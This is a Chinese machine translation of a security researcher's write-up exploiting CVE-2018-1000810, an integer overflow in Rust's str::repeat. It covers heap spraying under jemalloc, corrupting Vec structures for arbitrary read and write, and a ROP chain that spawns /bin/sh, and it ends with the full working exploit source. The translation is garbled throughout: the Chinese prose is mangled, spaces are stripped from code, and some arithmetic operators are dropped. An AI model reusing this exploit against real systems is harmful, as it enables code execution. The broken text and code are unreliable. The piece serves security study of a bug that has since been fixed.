0x01 背景介绍
如果攻击者有任何阅读/写原语,防御者基本上无能为力。因为内存损伤漏洞总是可以构建这些原语,我可以以最可靠的方式使用漏洞。
在本文中,我将分析和使用它CVE-2018-1000810,这是Scott McMurray在Rust标准数据库中发现的漏洞。我将分析漏洞的根本原因,如何触发漏洞,并使用漏洞构建一组强大的原语。
https://github.com/rust-lang/rust/pull/54397
Rust这种语言非常适合开发需要高安全性的应用程序。这个漏洞已经在最新版本中修复了。不要把单个漏洞作为整体安全的指标。我分析这个漏洞是因为我喜欢这种语言和漏洞,我想知道更多。
这个漏洞是64位的通配符。我有机会WSL中利用其他通配符,因此,如果你对更多的通配符感兴趣,或者只是想在阅读此文章之前快速介绍该概念,可以观看我的演讲“ Linux漏洞利用,Windows漏洞利用”。这是一个很好的漏洞例子,可的一个很好的漏洞例子。
https://github.com/saaramar/execve_exploit
对于此Rust漏洞,我会分析用户空间,使用非常简单稳定Wildcopy漏洞。我会写一个简单的Rust这意味着:
·没有“不安全”的代码块
·我唯一用的crates是thread,time和sync :: mpsc :: channel(即只有两行带“ use”的行使用std :: {thread,time};使用std :: sync :: mpsc :: channel;)
我在Ubuntu 19.10漏洞利用程序已经开发出来,应该适用于其他版本Ubuntu,我也在WSL v1 / v2和Debian 10测试。100%稳定利用:)
0x02 漏洞分析
20189月21日,漏洞发布公告。这个公告已经修复了,漏洞是在1.26.0并在版本中介绍1.29.0修复后的版本。这些版本之间的所有稳定版本都会受到影响,所以我将在本文中使用它们Rust 1.29.0。
https://blog.rust-lang.org/2018/09/21/Security-advisory-for-std.htmlhttps://github.com/rust-lang/rust/pull/54398/files
我将从以下代码开始分析:
fnmain(){let_s="AAAA".repeat(0x4000000000000001);}如果使用Rust编译器1.29.0通过编译,可以清楚地看到函数中的乘法:
可以控制imul指令的两个操作数!现行操作程序:
amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$catsrc/main.rsfnmain(){let_s="AAAA".repeat(0xc000000000000001);}amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$rustcrustc1.29.0(aa3ca19942018-09-11)amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$cargorunCompilingexploitv0.1.0(file:///mnt/c/projects/rust/exploit)Finisheddev[unoptimized debuginfo]target(s)in2.92sRunning`target/debug/exploit`Segmentationfault(coredumped)amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$遇到错误!在Rust这个问题很奇怪,当安全检查检测到问题并导致程序暂停时。这就是它崩溃的原因:
(gdb)startTemporarybreakpoint1at0x6072:filesrc/main.rs,line2.Startingprogram:/mnt/c/projects/rust/exploit/target/debug/exploit[Threaddebuggingusinglibthread_dbenabled]Usinghostlibthread_dblibrary"/lib/x86_64-linux-gnu/libthread_db.so.1".Temporarybreakpoint1,exploit::main()atsrc/main.rs:22let_s="AAAA".repeat(0xc000000000000001);(gdb)cContinuing.ProgramreceivedsignalSIGSEGV,Segmentationfault.__memmove_avx_unaligned_erms()at../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:249249../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:Nosuchfileordirectory.(gdb)x/8i$rip=>0x7ffffe92eb1f:repmovsb%ds:(%rsi),%es:(%rdi)0x7ffffe92eb21:retq0x7ffffe92eb22:cmp$0x10,%dl0x7ffffe92eb25:jae0x7ffffe92eb3e0x7ffffe92eb27:cmp$0x8,%dl0x7ffffe92eb2a:jae0x7ffffe92eb530x7ffffe92eb2c:cmp$0x4,%dl0x7ffffe92eb2f:jae0x7ffffe92eb64(gdb)x/8gx$rsi0x7ffffe400000:0x41414141414141410x41414141414141410x7ffffe400010:0x41414141414141410x41414141414141410x7ffffe400020:0x41414141414141410x41414141414141410x7ffffe400030:0x41414141414141410x4141414141414141(gdb)x/8gx$rdi0x7ffffe600000:Cannotaccessmemoryataddress0x7ffffe600000(gdb)POC第一段错误是由于开发WSL类似的问题(这次是在用户空间中,而不是在核心空间中)。当流通到未映射未映射页面并试图复制数据时,程序很可能会崩溃,这是我在触发通配符漏洞后所期望的经典错误。
0x03 漏洞利用
通配符漏洞已经可以触发了,我的使用是在64位程序上进行的。当我用这个内存破坏漏洞时,我需要了解几个重要的问题:
·我能控制(甚至部分控制)我正在破坏的数据内容吗?
·我能控制要破坏的数据的长度吗?
另一个问题也很重要:
·我能控制损坏块的大小吗?
最后一个问题很重要,因为在jemalloc / LFH在(或每个基于存储的分配器)中,如果不能控制要损坏的块的大小,则可能难以整理堆,从而损坏特定的目标结构(如果结构的大小明显不同)。
乍一看,第一个问题(关于我控制内容的能力)的答案似乎是“是”。我正在使用字符串,所以我假设我可以使用我想要的任何字节值,除了“ \ x00”(经典的C字符串使用问题)。
开始使用漏洞,由于以下检查,编译错误:
amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$cargorunCompilingexploitv0.1.0(file:///mnt/c/projects/rust/exploit)error:thisformofcharacterescapemayonlybeusedwithcharactersintherange[\x00-\x7f]|2|let_s="\x7f\xff\xff\xff".repeat(0xc000000000000001);|^^error:abortingduetopreviouserrorerror:Couldnotcompile`exploit`.Tolearnmore,runthecommandagainwithamarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$Rust不允许我在String非在实例中使用UTF-8字符。因此,我必须破坏它。[0x00,0x7f]范围内的字节。在核心空间中使用它会更复杂(仅使用这个范围很难伪造指针),但我在用户空间中,所以使用这个范围可以表示很多指针,这没有问题。
现在,转向第二个问题–控制我破坏数据的长度。答案显然是“不行”。要触发漏洞,我必须指定一个大于2 ** 64字节的大小,但事实上,我可能不会以某种方式使用通配符。
这里有很多选择:
·依靠竞争条件–虽然通配符会破坏一些有用的目标结构或内存,但在通配符崩溃之前,可以竞争其他线程(如构建其他原语、终止通配符等)。
·如果wildcopy每次迭代时,循环都会调用一个虚拟函数,指向该函数的指针位于堆内存的结构中(或位于我的位置)wildcopy在此期间可能损坏的其他内存地址中),漏洞利用程序可在通配期间使用循环覆盖和转移。这种方法的一个很好的例子是一些Stagefright漏洞利用程序在Android工作方式。
·如果wildcopy循环具有某种逻辑,可以在某些情况下停止循环,那么我可以弄乱这些检查,并在破坏足够的数据后停止循环,这正是我利用前面提到的WSL漏洞的方法。
不幸的是,这里不适用后两种选项。在这种情况下,检查复制的循环逻辑:
所以,我选择了第一种方法。
我可以控制损坏的块的大小,覆盖大小的计算公式是:
length_of_string*repeat_arg例如,如果我希望块的大小是0x100,可使用以下代码:
"AAAA".repeat(0x4000000000000000 0x100/4);该调用将使Rust运行时分配0x100然后将字节写入2 ** 64 0x100字节。
分配&喷射原语
可以使用vectors / strings / etc进行Spray,它们的分布大小可以控制(例如,使用Vec :: with_capacity()jemalloc一个有用的事实是,对于大分配,分配器从上到下分配如下:
amarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$cargorunFinisheddev[unoptimized debuginfo]target(s)in0.01sRunning`target/debug/exploit`thread0x1:allocatechunk@0x7f7a39200000,size0x100000000thread0x1:allocatechunk@0x7f7939200000,size0x100000000thread0x1:allocatechunk@0x7f7839200000,size0x100000000thread0x1:allocatechunk@0x7f7739200000,size0x100000000thread0x1:allocatechunk@0x7f7639200000,size0x100000000thread0x1:allocatechunk@0x7f7539200000,size0x100000000thread0x1:allocatechunk@0x7f7439200000,size0x100000000thread0x1:allocatechunk@0x7f7339200000,size0x100000000thread0x1:allocatechunk@0x7f7239200000,size0x100000000thread0x1:allocatechunk@0x7f7139200000,size0x100000000thread0x1:allocatechunk@0x7f7039200000,size0x100000000thread0x1:allocatechunk@0x7f6f39200000,size0x100000000thread0x1:allocatechunk@0x7f6e39200000,size0x100000000thread0x1:allocatechunk@0x7f6d39200000,size0x100000000thread0x1:allocatechunk@0x7f6c39200000,size0x100000000thread0x1:allocatechunk@0x7f6b39200000,size0x100000000thread0x1:allocatechunk@0x7f6a39200000,size0x100000000thread0x1:allocatechunk@0x7f6939200000,size0x100000000thread0x1:allocatechunk@0x7f6839200000,size0x100000000thread0x1:allocatechunk@0x7f6739200000,size0x100000000thread0x1:allocatechunk@0x7f6639200000,size0x100000000thread0x1:allocatechunk@0x7f6539200000,size0x100000000thread0x1:allocatechunk@0x7f6439200000,size0x100000000thread0x1:allocatechunk@0x7f6339200000,size0x100000000thread0x1:allocatechunk@0x7f6239200000,size0x100000000thread0x1:allocatechunk@0x7f6139200000,size0x100000000thread0x1:allocatechunk@0x7f6039200000,size0x100000000thread0x1:allocatechunk@0x7f5f39200000,size0x100000000thread0x1:allocatechunk@0x7f5e39200000,size0x100000000thread0x1:allocatechunk@0x7f5d39200000,size0x100000000thread0x1:allocatechunk@0x7f5c39200000,size0x100000000thread0x1:allocatechunk@0x7f5b39200000,size0x100000000thread0x1:allocatechunk@0x7f5a39200000,size0x100000000thread0x1:allocatechunk@0x7f5939200000,size0x100000000thread0x1:allocatechunk@0x7f5839200000,size0x100000000thread0x1:allocatechunk@0x7f5739200000,size0x100000000thread0x1:allocatechunk@0x7f5639200000,size0x100000000thread0x1:allocatechunk@0x7f5539200000,size0x100000000thread0x1:allocatechunk@0x7f5439200000,size0x100000000thread0x1:allocatechunk@0x7f5339200000,size0x100000000thread0x1:allocatechunk@0x7f5239200000,size0x100000000thread0x1:allocatechunk@0x7f5139200000,size0x100000000thread0x1:allocatechunk@0x7f5039200000,size0x100000000thread0x1:allocatechunk@0x7f4f39200000,size0x100000000thread0x1:allocatechunk@0x7f4e39200000,size0x100000000thread0x1:allocatechunk@0x7f4d39200000,size0x100000000thread0x1:allocatechunk@0x7f4c39200000,size0x100000000thread0x1:allocatechunk@0x7f4b39200000,size0x100000000thread0x1:allocatechunk@0x7f4a39200000,size0x100000000thread0x1:allocatechunk@0x7f4939200000,size0x100000000thread0x1:allocatechunk@0x7f4839200000,size0x100000000thread0x1:allocatechunk@0x7f4739200000,size0x100000000thread0x1:allocatechunk@0x7f4639200000,size0x100000000thread0x1:allocatechunk@0x7f4539200000,size0x100000000thread0x1:allocatechunk@0x7f4439200000,size0x100000000thread0x1:allocatechunk@0x7f4339200000,size0x100000000thread0x1:allocatechunk@0x7f4239200000,size0x100000000thread0x1:allocatechunk@0x7f4139200000,size0x100000000thread0x1:allocatechunk@0x7f4039200000,size0x100000000thread0x1:allocatechunk@0x7f3f39200000,size0x100000000thread0x1:allocatechunk@0x7f3e39200000,size0x100000000thread0x1:allocatechunk@0x7f3d39200000,size0x100000000thread0x1:allocatechunk@0x7f3c39200000,size0x100000000thread0x1:allocatechunk@0x7f3b39200000,size0x100000000thread0x1:allocatechunk@0x7f3a39200000,size0x100000000thread0x1:allocatechunk@0x7f3939200000,size0x100000000thread0x1:allocatechunk@0x7f3839200000,size0x100000000thread0x1:allocatechunk@0x7f3739200000,size0x100000000thread0x1:allocatechunk@0x7f3639200000,size0x100000000thread0x1:allocatechunk@0x7f3539200000,size0x100000000thread0x1:allocatechunk@0x7f3439200000,size0x100000000thread0x1:allocatechunk@0x7f3339200000,size0x100000000thread0x1:allocatechunk@0x7f3239200000,size0x100000000thread0x1:allocatechunk@0x7f3139200000,size0x100000000thread0x1:allocatechunk@0x7f3039200000,size0x100000000thread0x1:allocatechunk@0x7f2f39200000,size0x100000000thread0x1:allocatechunk@0x7f2e39200000,size0x100000000thread0x1:allocatechunk@0x7f2d39200000,size0x100000000thread0x1:allocatechunk@0x7f2c39200000,size0x100000000thread0x1:allocatechunk@0x7f2b39200000,size0x100000000thread0x1:allocatechunk@0x7f2a39200000,size0x100000000thread0x1:allocatechunk@0x7f2939200000,size0x100000000崩溃现场
从一个简单但非常重要的步骤开始。memcpy遇到未映射页面时segfault获取代码对我来说几乎没用。我希望获得任何可用的功能,如读取或写入存储器、跳转或其他功能。我会在这里随意阅读/写原语。因此,它将针对结构std :: Vec操作。在许多语言中,vector由于一旦损坏,是漏洞使用的有用工具,vector基本上是内存的读写界面。它们通常有一个length字段和原始指针,其标准接口读取或写入指针指向的任何地址。Rust实现中,这就是将军Rustvector写入项目的方式:
pubfninsert(&mutself,index:usize,element:T){letlen=self.len();assert!(index<=len);//spaceforthenewelementiflen==self.buf.capacity(){self.reserve(1);}unsafe{//infallible//Thespottoputthenewvalue{letp=self.as_mut_ptr().add(index);//Shifteverythingovertomakespace.(Duplicatingthe//`index`thelementintotwoconsecutiveplaces.)ptr::copy(p,p.offset(1),len-index);//Writeitin,overwritingthefirstcopyofthe`index`th//element.ptr::write(p,element);}self.set_len(len 1);}}也用于与该集合使用的其他接口ptr::write和ptr::read,例如push()和pop()以及写入该vector的任何其他API。该API允许我控制正在写入的值,所以如果我有控制指针的方法,我可以随意写入。以类似的方式,可以随意读取。
因此,尝试执行以下操作:
·喷一个有趣的结构(std :: Vec)并调整堆的形状,以便在目标结构之前在内存中分配易受攻击的分配
·在另一个线程中触发漏洞
·查找损坏的vector,以一种有趣的方式使用它vector(只需读写)
这种方法唯一的问题是,通配符线程总是竞争成功。我试图创建许多线程,每个线程都喷射大量线程vector并使用它们。经过一些整理,我得到了任意的写入(core :: ptr :: write crash,并且在通配符中有重复值),但是太不稳定了(只能工作)50%)。我需要最终的漏洞利用100%稳定的。
处理这个问题的一种方法是在我损坏的块之后创建一个大的映射区域,并希望在复制循环通过之前执行代码。因此,请执行以下操作:
漏洞使用:喷射10000vector,每个vector的大小0x600000(任意选择,只要足够大)。
漏洞线程:从大小触发漏洞vector进行通配0x600000
使用线程:重复扫描vector,寻找长度和指针已损坏的vector
由于jemalloc大小从顶部到底部分配,最终会破坏一切vector。喷射完成后,可以遍历vector,看看是否改变了尺寸:
letmutcorrupted_vec=0;println!("[*scan*]\tstartcheckingvectors");foriin0..count{ifallocs[i][0].len()>1{println!("[*scan*]\tveccorrupted!allocs[{}][0].len()=={:#x}",i,allocs[i][0].len());corrupted_vec=i;break;}}而且,如果只触发字符串,“ AAAA”上面的通配符,并尝试将所需的任何值(例如0x9090909090909090)写入损坏的vector,可以肯定的得到:
Thread2"exploit"receivedsignalSIGSEGV,Segmentationfault.[SwitchingtoThread0x7f4a7cdf0700(LWP8807)]0x00007f4a7e408d19inexploit::do_arbitrary_write(allocs=0x7f4a7cdef680,count=10000,target_vec=1725,second_target_vec=6299648,addr=139640115757568,value=29400045130965551)atsrc/main.rs:2121allocs[i][0][0]=0x9090909090909090;(gdb)x/2i$rip=>0x7f4a7e408d19:mov%rax,(%rcx)0x7f4a7e408d1c:jmpq0x7f4a7e408c50(gdb)irrcxrcx0x41414141414141414702111234474983745(gdb)irraxrax0x9090909090909090-8029759185026510704(gdb)任意读/写
现在有一个来源wildcopy随意写原语!我希望我能多次读取和写入不同的地址,并使用[]索引操作符。我需要做的是使用一个地址(NULL或任意值)破坏vector将结构中的原始指针设置为长度0xffffffffffffffffff。然后,我可以阅读/写入固定地址,这使得它成为整个地址空间,所以地址是任意的。这是使用它的经典方法(也适用于JS等待其他语言),效果很好。但是,在这种情况下,我很少担心:vector的地址和长度字段的字节数不能超出[0x80-0xff]由于实现,范围std :: Vec和Slices在乘法操作中,我需要导致整数溢出到达整个空间。这似乎是可行的,但对我来说,一个更直观的方法是使用两个vector而不是一个vector避免这些问题。
我将使用一个破坏通配符的人vector,在单个地址上写入作为接口。该地址将包含另一个vector-使用堆整形手术应该很容易。如果我是第一个vector在索引0处分配一个值实际上会破坏第二个值vector原指针。完成此操作后,我将控制第二个vector绝对地址现在指向。然后,我可以在第二个vector索引0处分配一个值,然后将该值设置为我之前选择的地址。我可以根据需要多次重复内存中的任何地址,以便读写任何数量。
为此,将执行以下操作:
·许多载体堆喷
·具有已知映射地址的通配符
·使用损坏的vector在堆里找另一个vector(使用相对读取)
·更改第二个vector,然后读/写
现在,我可以继续改变第二个vector,并将其用作读写界面。唯一的问题:我需要在已知地址上分配vector,因此,有必要知道堆放在哪里。堆放空间通常如下:
这样可以绕过jemalloc中的ASLR!
随机基址
现在有任何阅读/写原语,但在触发漏洞之前,必须依靠一些映射地址(必须将地址设置为wildcopy中的值...)。我通常不喜欢喷很多东西,猜地址,但这可能是一个很好的入门方法,看看它能给我带来什么。另外,我在运行Ubuntu,它没有堆放随机化。在其他平台上,很难简单地喷射大量数据并猜测地址。但在这种情况下,在Ubuntu上使用jemalloc喷射几十MB内存足以达到已知的地址范围。多次之后Scrapy在大量的数据之后,你总能看到一系列的地址。我选择了地址0x7f007f7f0000,因为分配器不需要太多的分配,而且不包高于0x7f任何字节(否则,表示为UTF-8字符串会有麻烦)。和以前一样。POC结合使用,可以不断破坏第二个vector(我使用相对于已知映射地址的相对读取来泄露其地址)获得一般的任意读取/写入,然后使用[]操作来读写。
调用构建的原语进行测试:
do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,0x434343434343434343,0x4848484848484848);看它会导致以下结果:
Thread2"exploit"receivedsignalSIGSEGV,Segmentationfault.[SwitchingtoThread0x7fa070ff0700(LWP24521)]0x00007fa07280ae32inexploit::do_arbitrary_write(allocs=0x7fa070fef658,corrupted_vec=9997,target_vec=23076864,target_idx=3148,addr=4846791580151137091,value=5208492444341520456)atsrc/main.rs:6868allocs[target_idx][0][0]=value;(gdb)x/2i$rip=>0x7fa07280ae32:mov%rcx,(%rax)0x7fa07280ae35:add$0x78,%rsp(gdb)irraxrax0x43434343434343434846791580151137091(gdb)irrcxrcx0x48484848484848485208492444341520456(gdb)唯一的问题是,当我喷得很大的时候vector当时,我猜测的地址可能包括其中一个vector数据缓冲区的一部分,而不是vector结构本身。所以这个地址只是映射,不包括我想定位的结构。为了克服这个问题,我可以喷更多vector,作为第一个vector成员。现在,我堆了很多vector结构,包括这个地址的可能性很高。目前有什么?
·阅读/写原语
·已知地址中的任何内容
·已知堆地址
现在,我只需要操作一些Payload。这里有很多方法可以考虑。我可以为数据攻击找到一个好的目标,但我选择了最简单、最快的方法:在堆栈上写一个ROP链条,弹出一个shell。因此,我需要泄露库的基地址,而不仅仅是堆的地址。鉴于我目前的原始数据,很容易到达那里。
我有很多选择:
·在dlmalloc当我释放一个块时,在它header以前,我有绝对的指针指向bin上一个/下一个块。如果是第一个,那么在libc中有指向bins符号指针。阅读它们将为我提供服务libc可以计算中符号的虚拟地址。CTF中非常有用的技术。也许我可以使用jemalloc基于元数据找到类似的东西。
·查找具有vtable函数指针衍生库地址的结构
因为使用这个漏洞的主要目的是从通配符中创建稳定的阅读/写原语,只需使用阅读原语来阅读符号的实际地址Rust该代码在代码中引用:
fnget_stack_addr()->u64{letlocal_var=String::new();letstack_addr=&format!("{:p}",&local_var)[2..];returnu64::from_str_radix(&stack_addr,0x10).unwrap();}要查找Gadget我可以使用我已经拥有的阅读原语的地址main()周围的.text找字节序列的一部分。现在,这个ROP链所需的唯一符号是dlsym。可通过分析ELF标头很容易解决这个问题,但它会混淆我的代码,对于POC不必要。因此,只需添加一个extern您可以将此符号导入我Rust代码中):
extern{fndlsym(handle:*constu8,symbol:*constu8)->*constu8;}请注意,这不需要任何不安全的块,只允许我将其强制转换为u64,如下所示:
letdlsym_addr=dlsymasu64;这样,我就可以在二进制文件中获得堆栈地址和代码地址。
任意跳
现在只需要破坏函数指针和返回地址来控制执行(然后使用ROP / JOP获得任何代码执行/ system()mprotect并执行Payload。由于在GOT上的RELRO,我不能轻易破坏那里的函数指针。我可以在已知地址使用函数指针,例如在jemalloc中的malloc_hook / etc。没有检查堆栈上返回地址的完整性(Intel / AMD,在aarch64 PAC中间)。用绝对写入法破坏堆栈上的返回地址,并从那里继续ROP链操作。
注:我不想依赖于不同libc版本中的偏移量,所以我只依赖于二进制文件中的偏移量。因此,我使用了它dlsym始终位于二进制文件的优势,而在ROP我的头发做得如下:
·将字符串“ system \ x00”写入已知地址
·将字符串“ / bin / sh \ x00”写入已知地址
·dlsym(NULL,“system”)
·system(“ / bin / sh \ x00”)
ROP链:
println!("[*corrupt*]\tstackaddr@{:#x},ret_addr@{:#x}",stack_addr,ret_addr);//setupthestringsIneeddo_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,BIN_SH_STR,0x0068732f6e69622f);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,SYSTEM,0x006d6574737973);//buildtheROPonthestackdo_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*0,main_addr pop_rdi_ret_off 1);//makestackalignedformovapsdo_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*1,main_addr pop_rdi_ret_off);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*2,0);//handle=NULL;do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*3,main_addr pop_rsi_ret_off);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*4,SYSTEM);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*5,dlsym_addr);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*6,main_addr pop_rdi_jmp_rax_off);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*7,BIN_SH_STR);总结一下:
·需要大量的分配,直到分配器使用我选择的地址
·这些分配包含很多vector
·开始使用相同大小的大字符串wildcopy,它位于vector分配之前
·使用我选择的相同地址来破坏一些vector
·找到此vector,用相对读取向前扫描,找到另一个vector
·破坏第二个vector原指针,用于任意读写
POC:
字符串和Unicode限制
在发表这篇文章之前,我告诉了我的好朋友Tomash展示了利用这个漏洞的方法。他建议尝试使用更高的漏洞Unicode即使是代码点Rust在范围[0x00,0x7f]有点不舒服。看看我在。UTF-8使用另一个需要多字节字符的字符串,并使用它来触发通配符。
vector.length损坏,具有以下值:
https://twitter.com/tom41shamarsa@SaarAmar-book2:/mnt/c/projects/rust/exploit$cargorunCompilingexploitv0.1.0(file:///mnt/c/projects/rust/exploit)Finisheddev[unoptimized debuginfo]target(s)in3.75sRunning`target/debug/exploit`[*start*]Letthefunbegin![*shape*]shape:sprayingvectors[*shape*]shape:donesprayingvectors[*vuln*]trigger_vulnerability[*scan*]startcheckingvectors[*scan*]veccorrupted!allocs[9997][0].len()==0x90d790d790d790d7[*scan*]donecheckingvectors这样,我就可以用单个了vector而不是两个vector任意读取/写入可以在整个用户空间内使用vector,为了完整起见,我把其他方法放在这里。
相关平台
有趣的是,因为这个漏洞在Rust在标准库中,它打破了许多产品使用字符串的假设。我正在考虑将这个漏洞转化为servo(在RCE流程中)或redux-os(在LPE流程中)。
代码如下:
https://github.com/saaramar/str_repeat_exploit/raw/master/srcusestd::{thread,time};usestd::sync::mpsc::channel;extern{fndlsym(handle:*constu8,symbol:*constu8)->*constu8;}staticERROR_VALUE:u64=0xffffffffffffffff;staticVECTOR_SIZE:usize=0x600000;staticVECTOR_SPRAY_CNT:usize=10000;staticBIN_SH_STR:u64=0x7f007f7f0000 0x200;staticSYSTEM:u64=0x7f007f7f0000 0x220;staticPOP_RDI_JMP_RAX:u64=0xe0ff5f;staticPOP_RDI_RET:u64=0xc35f;staticPOP_RSI_RET:u64=0xc35e;fnget_stack_addr()->u64{letlocal_var=String::new();letstack_addr=&format!("{:p}",&local_var)[2..];returnu64::from_str_radix(&stack_addr,0x10).unwrap();}fnscan_for_value(allocs:&mutVec,corrupted_vec:usize,target_vec:usize,target_idx:usize,addr:u64,bytes:u64,mask:u64)->u64{foriin0..0x1000000{letmutval=do_relative_read(allocs,corrupted_vec,target_vec,target_idx,addr,i);forjin0..8{val=val>>(8*(jasu64));if(val&mask)==bytes{return(i*8 j)asu64;}}}returnERROR_VALUE;}fnscan_for_qword(allocs:&mutVec,corrupted_vec:usize,target_vec:usize,target_idx:usize,addr:u64,qword:u64)->u64{foriin0..0x1000000{letmutval=do_relative_read(allocs,corrupted_vec,target_vec,target_idx,addr,i);if(val&0xffffffffffff0000)==(qword&0xffffffffffff0000){ifval>qword{return(i*8)asu64;}}}returnERROR_VALUE;}fndo_relative_read(allocs:&mutVec,corrupted_vec:usize,target_vec:usize,target_idx:usize,addr:u64,offset:usize)->u64{allocs[corrupted_vec][0][target_vec]=addr;returnallocs[target_idx][0][offset];}fndo_arbitrary_write(allocs:&mutVec,corrupted_vec:usize,target_vec:usize,target_idx:usize,addr:u64,value:u64){allocs[corrupted_vec][0][target_vec]=addr;allocs[target_idx][0][0]=value;}fncorrupt_with_rop(allocs:&mutVec,corrupted_vec:usize,target_vec:usize,target_idx:usize){letstack_addr=get_stack_addr();letmain_addr=mainasu64;letdlsym_addr=dlsymasu64;println!("[*corrupt*]\tresolvegadgets");letpop_rdi_ret_off=scan_for_value(allocs,corrupted_vec,target_vec,target_idx,main_addr,POP_RDI_RET,0xffff) 1;letpop_rsi_ret_off=scan_for_value(allocs,corrupted_vec,target_vec,target_idx,main_addr,POP_RSI_RET,0xffff);letpop_rdi_jmp_rax_off=scan_for_value(allocs,corrupted_vec,target_vec,target_idx,main_addr,POP_RDI_JMP_RAX,0xffffff);letret_addr_off=scan_for_qword(allocs,corrupted_vec,target_vec,target_idx,stack_addr 0x450,exploit_threadasu64);letret_addr=stack_addr 0x450 ret_addr_off;ifpop_rdi_ret_off==ERROR_VALUE||pop_rsi_ret_off==ERROR_VALUE||pop_rdi_jmp_rax_off==ERROR_VALUE{println!("[*corrupt*]failedtoresolvegadgets,abort");return;}println!("[*corrupt*]\tstackaddr@{:#x},ret_addr@{:#x}",stack_addr,ret_addr);//setupthestringsIneeddo_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,BIN_SH_STR,0x0068732f6e69622f);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,SYSTEM,0x006d6574737973);//buildtheROPonthestackdo_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*0,main_addr pop_rdi_ret_off 1);//makestackalignedformovapsdo_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*1,main_addr pop_rdi_ret_off);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*2,0);//handle=NULL;do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*3,main_addr pop_rsi_ret_off);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*4,SYSTEM);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*5,dlsym_addr);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*6,main_addr pop_rdi_jmp_rax_off);do_arbitrary_write(allocs,corrupted_vec,target_vec,target_idx,ret_addr 0x8*7,BIN_SH_STR);println!("[*corrupt*]\ttriggerretq");}fnspray_vectors(size:usize,count:usize)->Vec{letmutallocs=Vec::new();for_iin0..count{letmutvec:Vec=Vec::with_capacity(size);letmutsubvec:Vec=Vec::with_capacity(size);subvec.push(0x43434343);vec.push(subvec);allocs.push(vec);}returnallocs;}/*terminology:corrupted_vec:thefirstvectorIfindthatwascorruptedwiththewildcopytarget_vec:thevectorIfindwhilerelativereadscanthememory,andcorruptitforarbitraryusetarget_idx:theactualindexofthetarget_vec,soIcandoallocs[idx][0][0]forarbitraryRW*/fnexploit_thread(size:usize,count:usize,tx:std::sync::mpsc::Sender){println!("[*shape*]\tshape:sprayingvectors");letmutallocs=spray_vectors(size,count);println!("[*shape*]\tshape:donesprayingvectors");tx.send(()).unwrap();thread::sleep(time::Duration::from_millis(1000));letmutcorrupted_vec=0;println!("[*scan*]\tstartcheckingvectors");foriin0..count{ifallocs[i][0].len()>1{println!("[*scan*]\tveccorrupted!allocs[{}][0].len()=={:#x}",i,allocs[i][0].len());corrupted_vec=i;break;}}ifcorrupted_vec==0{println!("[*scan*]\tfailedtofindtargetvec,abort");return;}println!("[*scan*]\tdonecheckingvectors");//findtargetvectorletmuttarget_vec:usize=0x0;println!("[*scan*]\tstartscanforinterestingdata");foriin0..0x100000000{ifallocs[corrupted_vec][0][i]!=0{letval=allocs[corrupted_vec][0][i];println!("[*scan*]\tfoundinterestingdataatoffset{}*8=={:#x}",i,val);ifval>0x7f0000000000{target_vec=i;println!("[*scan*]\tfoundvectorbufpointerat{}=={:#x}",target_vec,val);//markthesecondcorruptedvector,soIcanfinditeasilyforlateruseallocs[corrupted_vec][0][i 2]=0x4848484848484848asu64;break;}}}letmuttarget_idx=0x0;foriin0..count{ifallocs[i][0].len()==0x4848484848484848{target_idx=i;}}iftarget_idx==0{println!("[*scan*]\tfailedtofindsecondtargetvec,abort");return;}/*whenexploit_threadexists,itfreestheallocsvectorandcleanuplotsofthepointersandstuctures.Weclearlysegfualtthere,sowhynotsimplypassourRWstructureintoasubfunctio,andexecuteROPonitsreturn:)*/println!("[*corrupt*]\tcorruptretaddrwithROP");corrupt_with_rop(&mutallocs,corrupted_vec,target_vec,target_idx);}fntrigger_vulnerability(size:usize){println!("[*vuln*]\ttrigger_vulnerability");letfixed_addr="\x00\x00\x7f\x7f\x00\x7f\x00\x00";let_s=fixed_addr.repeat(0x4000000000000000 size/8);}fnmain(){let(tx,rx)=channel();println!("[*start*]\tLetthefunbegin!");thread::spawn(move||{exploit_thread(VECTOR_SIZE,VECTOR_SPRAY_CNT,tx)});rx.recv().unwrap();thread::sleep(time::Duration::from_millis(100));trigger_vulnerability(VECTOR_SIZE);thread::sleep(time::Duration::from_millis(1000*60));}本文翻译自:https://saaramar.github.io/str_repeat_exploit/如果转载,请注明原始地址